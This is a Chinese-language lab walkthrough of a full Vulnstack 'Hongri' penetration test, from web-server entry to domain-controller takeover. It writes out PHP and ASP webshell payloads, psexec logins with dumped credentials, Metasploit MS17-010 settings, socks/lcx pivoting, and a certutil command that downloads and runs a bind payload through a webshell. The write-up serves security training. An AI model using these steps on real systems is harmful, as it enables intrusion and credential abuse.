本文主要是介绍红日靶场全流程渗透测试,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
作者:linshao
靶场下载地址:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
目录
web->内网(两条路线:)
一.php探针->mysql弱口令->目录扫描phpmyadmin->日志写shell
二.目录扫描yxcms.rar->后台弱口令->模板写shell
内网->域控(三条线路:)
一.密码抓取->寻找域控->psexec登录域控->get
二.主机发现->漏洞扫描->域控存在ms17-010->msf代理攻击->get
三.主机发现->端口扫描->redis未授权->getshell->正向上线msf->提权->get
一、web->内网
一.php探针->mysql弱口令->目录扫描phpmyadmin->日志写shell
1.mysql弱口令:主页尝试root/root数据库连接正常
2.目录扫描phpmyadmin:目录扫描存在phpmyadmin
3.日志写shell:
文件导出被禁止
测试一下确实无法导出
select "test" into outfile "C:\\www\\phpstudy\\test.php"
使用日志写shell
//设置日志文件,web绝对路径可以从探针得知
SET GLOBAL general_log_file = "C:\phpStudy\WWW\1.php";
set global general_log='on'; //开启日志
SELECT '<?php assert($_REQUEST["cmd"]);?>';
4.访问成功:
二.目录扫描yxcms.rar->后台弱口令->模板写shell
1.目录扫描yxcms.rar:
2.登录后台,新建模板
3.访问shell,模板文件位置可在本地搭建环境得知
内网->域控
先上线cs,powershell上线失败,生成exe上线成功
一.密码抓取->寻找域控->psexec登录域控
密码抓取
Administrator/Admin@123
开启远程桌面:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netstat -an findstr 3389查看是否开启成功
远程登录成功
查找域控
以下几个命令都可以获取到域名
systeminfo
ipconfig /all
查找域管
net group "Domain Admins" /do
获取域控ip:
psexec登录:
上传psexec到192.168.1.11执行命令
psexec \\192.168.52.138 -u Administrator -p Admin@123 -s cmd
会回弹一个system权限的cmd回来
到此最简单的获取域控线路结束
二. 主机发现->漏洞扫描->域控存在ms17-010->msf代理攻击->get
主机发现:
arp-a
存在192.168.52.0/24网段
上传nbtscan(就是快!!!)扫描网段,结果ip放置于1.txt(边界ip为192.168.52.143,排除),DC为...138
(实战中可以白天和晚上各扫描一遍来对比)
漏洞扫描:
上传fscan (内网大保健!!!) 扫描1.txt内ip (fscan也可直接扫网段)
根据结果可以看到138和141都存在ms17-010
msf代理攻击:
但是该机器收不到reverce_shell,判断不出网,遂使用cs创建代理隧道
使用proxychains代理msf对内网进行攻击,
由于边界机器win7出网,因此使用lcx监听本地端口转发到msf (边界不出网用pystinger,或者reg打通隧道在整)
如图:
cs创建socks4隧道
kali设置代理:
cs所在ip为192.168.1.2
刚刚设置的socks代理端口为12345
配置proxychains:
kali打开终端,su切换root用户
输入vi /etc/proxychains4.conf
最后一行添加socks4 ip port
按esc输入wq!保存
打开终端输入proxychains firefox访问192.168.52.138:80代理成功
现在我们可以使用proxychains使msf走代理攻击到192.168.52.138,但是无法获得meterpreter会话,因此下一步使用lcx进行端口转发接收meterpreter
win7使用lcx转发
上传lcx到win7,执行命令对55555进行监听:lcx -tran 55555 192.168.1.12:4444
(命令解释:通过lcx监听本地5555端口,收到数据后转发到192.168.1.12的4444端口,
因此kali需要设置监听4444来接收shell)
l
msf监听4444端口:
kali启动终端,输入:msfconsole启动msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.12
set lport 4444
run
proxychains代理msf对域控(192.168.52.138)进行ms17-010攻击
kali启动终端,输入:proxychains msfconsole启动msf
use windows/smb/ms17_010_psexec
set rhosts 192.168.52.138
set lhost 192.168.52.143
set lport 55555
run
攻击完成kali成功获取到会话
至此成功获取到域控,另外可再起一个lcx进程端口来接受192.168.52.139(域内一台server2008机器)的会话
lcx监听55556,同样转发到192.168.1.12的4444
输入:background 把已获取的session放到后台,然后继续监听4444
切换到msf攻击终端去
set rhosts 192.168.52.139
set lport 55556
run
可以看到成功以边界机器win7为跳板同时管理域内多台主机的会话,此方法适用于存在边界机器的不出网内网渗透,以及全不出网机器打通隧道的内网渗透
server2003(192.168.52.141)是x86位系统,因为测试时使用ms17-010的payload打蓝屏了
所以我新增加的主机192.168.52.138,方便达到测试效果
几个反弹shell的payload都不可成功弹shell回来(包括x86的)
不过信息安全的男生是绝不会轻易认输的
再次对192.168.52.141使用nmap漏洞扫描
发现存在ms08-067,再次使用msf进行测试,不过,又失败了。应该是payload的原因,两个漏洞都是接收shell哪儿是有反应的,但meterpreter会话不可用。
渗透本就是逆天而行,死在路上也很正常
经过反复测试
admin/smb/ms17_010_command模块是可以成功执行命令的(多执行几次,有时候会失效)
可以通过
use admin/smb/ms17_010_command
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
set rhosts 192.168.52.141
run
来开启server2008的远程端口,再通过域管账户登录上去
至此,域内机器已全部get
三.主机发现->端口扫描->redis未授权->getshell->正向上线msf->提权->get
主机发现:
沿用以上获取到的ip
端口扫描:
使用fscan批量扫描网段6379:得知192.168.52.138上开放redis端口
且其开放80端口为iis,可尝试redis写webshell
redis未授权:
上传redis-cli.exe到边界服务器win7上(也可以不上传,流量走代理)
执行redis-cli.exe -h 192.168.52.138 -p 6379
发现redis存在未授权,尝试写出asp一句话
getshell:
尝试访问成功
当前权限iis
http://192.168.52.138/test.asp?linshao=response.write(server.createobject("wscript.shell").exec("cmd.exe /c whoami").stdout.readall)
正向连接上线msf:
由于不出网,使用msf生成木马通过代理正向连接
上传bind.exe到win7
上传hfs.exe简易http服务器到win7搭建http服务(点开即用,方便极了)
访问连接通过执行certutil命令下载木马到c:\windows\temp\
(%26为&,命令连接符)
http://192.168.52.138/test.asp?linshao=response.write(server.createobject("wscript.shell").exec("cmd /c cd C:\Windows\Temp %26 certutil -urlcache -split -f http://192.168.52.143/bind.exe").stdout.readall)
访问链接执行bind.exe
http://192.168.52.138/test.asp?linshao=response.write(server.createobject("wscript.shell").exec("cmd /c C:\Windows\Temp\ind.exe").stdout.readall)
执行后目标已开放4444端口:
注意:bind_tcp的端口对于其他程序来说是一次性的,也就是说不能扫描,否则bind.exe接收到的数据异常会导致程序崩溃。上图我扫描端口就引起了程序崩溃。重新访问启动木马,访问时候看到速度比较慢则启动木马成功
使用代理的msf进行连接:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 4444
run
运行后通过代理连接到域控的4444端口,但是权限特别低(iis权限),下一步进行提权
提权:cve2018-8210提权
sysinfo查看得知系统为2008r2,使用cve2018-8210提权(08系统的提权漏洞挺多的)
#msf上传文件:
upload x64.exe c:\\windows\\temp\\x64.exe
#添加计划任务重新运行bind.exe:
execute -f 'cmd /c at 9:29 c:\\windows\\temp\\x64.exe "c:\\windows\\temp\\bind.exe"'
#退出当前会话,
exit
#等待定时任务执行完毕后再次run
run
成功获取到system权限
TIPS:bind_tcp的会话还是比较不爽的,执行命令只能通过execute -f "whoami"执行,不过这里应该是我有层代理的原因。不是直连的所以会无法获取交互式shell
'一闪一闪亮晶晶,满天都是小星星’
这篇关于红日靶场全流程渗透测试的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!